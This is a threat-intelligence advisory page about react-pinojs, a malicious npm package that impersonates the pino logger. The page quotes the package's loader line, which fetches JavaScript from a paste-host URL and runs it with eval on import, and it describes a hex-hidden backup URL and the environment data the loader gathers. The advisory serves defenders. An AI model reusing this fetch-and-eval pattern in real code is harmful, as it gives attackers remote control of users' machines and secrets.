Malicious code in react-pinojs (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (db767edd3581eec08793cb669f0ec59351e61f31501b6d4287b86baea512bb63) Package impersonates the popular pino logger (homepage points to getpino.io, description mimics pino's tagline) and executes a remote-code-execution dropper on import. lib/writer.js — loaded transitively by the main entry pino.js — performs require('axios').get('https://www.jsonkeeper.com/b/MYUKZ').then(r => { eval(r.data.content_o); }), passing arbitrary attacker-controlled JavaScript fetched from an anonymous, mutable paste host directly to eval at module load time. Before the eval fires, writer.js assembles a data object containing the full process.env, os.platform(), os.hostname(), os.userInfo().username, and non-internal MAC addresses, which is in scope for the eval'd payload. A second hex-encoded channel is hidden in writer.js: byte arrays decode to the strings 'axios', 'get', 'then', and the URL https://www.jsonkeeper.com/b/HY6M6 — a backup fetch endpoint concealed from trivial source greps. Any project that runs require('react-pinojs') (or imports it) executes attacker-controlled code with access to the installer's environment variables, hostname, username, and MAC addresses. ## Source: ghsa-malware (f068b4f747b0fdc8dbacf62b3360a153e24292db9eb67d5e99f415eb900060de) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
AI Analysis
Technical Summary
The react-pinojs package (version 1.0.6) is a malicious npm package that mimics the legitimate pino logger. It contains a module (lib/writer.js) that, when imported, performs a remote code execution by fetching JavaScript code from an attacker-controlled paste host and evaluating it with eval(). Prior to execution, it collects sensitive system information including environment variables, OS platform, hostname, username, and MAC addresses, which the remote payload can access. A backup fetch URL is also embedded in the code. This results in full system compromise for any project importing this package.
Potential Impact
Systems with react-pinojs version 1.0.6 installed or running are fully compromised, as the package executes arbitrary attacker-controlled code with access to sensitive environment data. This can lead to theft of secrets, credentials, and system control. The compromise is severe enough that all secrets and keys on the affected system should be rotated from a different, trusted machine. Removing the package alone does not guarantee removal of all malicious artifacts.
Mitigation Recommendations
No official patch or fix is available for react-pinojs version 1.0.6. The package should be immediately removed from all affected systems. All secrets, keys, and credentials stored on compromised machines must be rotated from a separate, secure environment. Due to the severity of the compromise, affected systems should be treated as fully compromised and undergo thorough incident response and remediation.
Malicious code in react-pinojs (npm)
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (db767edd3581eec08793cb669f0ec59351e61f31501b6d4287b86baea512bb63) Package impersonates the popular pino logger (homepage points to getpino.io, description mimics pino's tagline) and executes a remote-code-execution dropper on import. lib/writer.js — loaded transitively by the main entry pino.js — performs require('axios').get('https://www.jsonkeeper.com/b/MYUKZ').then(r => { eval(r.data.content_o); }), passing arbitrary attacker-controlled JavaScript fetched from an anonymous, mutable paste host directly to eval at module load time. Before the eval fires, writer.js assembles a data object containing the full process.env, os.platform(), os.hostname(), os.userInfo().username, and non-internal MAC addresses, which is in scope for the eval'd payload. A second hex-encoded channel is hidden in writer.js: byte arrays decode to the strings 'axios', 'get', 'then', and the URL https://www.jsonkeeper.com/b/HY6M6 — a backup fetch endpoint concealed from trivial source greps. Any project that runs require('react-pinojs') (or imports it) executes attacker-controlled code with access to the installer's environment variables, hostname, username, and MAC addresses. ## Source: ghsa-malware (f068b4f747b0fdc8dbacf62b3360a153e24292db9eb67d5e99f415eb900060de) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The react-pinojs package (version 1.0.6) is a malicious npm package that mimics the legitimate pino logger. It contains a module (lib/writer.js) that, when imported, performs a remote code execution by fetching JavaScript code from an attacker-controlled paste host and evaluating it with eval(). Prior to execution, it collects sensitive system information including environment variables, OS platform, hostname, username, and MAC addresses, which the remote payload can access. A backup fetch URL is also embedded in the code. This results in full system compromise for any project importing this package.
Potential Impact
Systems with react-pinojs version 1.0.6 installed or running are fully compromised, as the package executes arbitrary attacker-controlled code with access to sensitive environment data. This can lead to theft of secrets, credentials, and system control. The compromise is severe enough that all secrets and keys on the affected system should be rotated from a different, trusted machine. Removing the package alone does not guarantee removal of all malicious artifacts.
Mitigation Recommendations
No official patch or fix is available for react-pinojs version 1.0.6. The package should be immediately removed from all affected systems. All secrets, keys, and credentials stored on compromised machines must be rotated from a separate, secure environment. Due to the severity of the compromise, affected systems should be treated as fully compromised and undergo thorough incident response and remediation.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-5488
- Osv Schema Version
- 1.7.4
- Aliases
- ["GHSA-3w28-cv4q-v393"]
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a42ed2627e9c7971993457c
Added to database: 06/29/2026, 22:09:42 UTC
Last enriched: 07/11/2026, 12:35:30 UTC
Last updated: 07/18/2026, 17:27:21 UTC
Views: 8
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.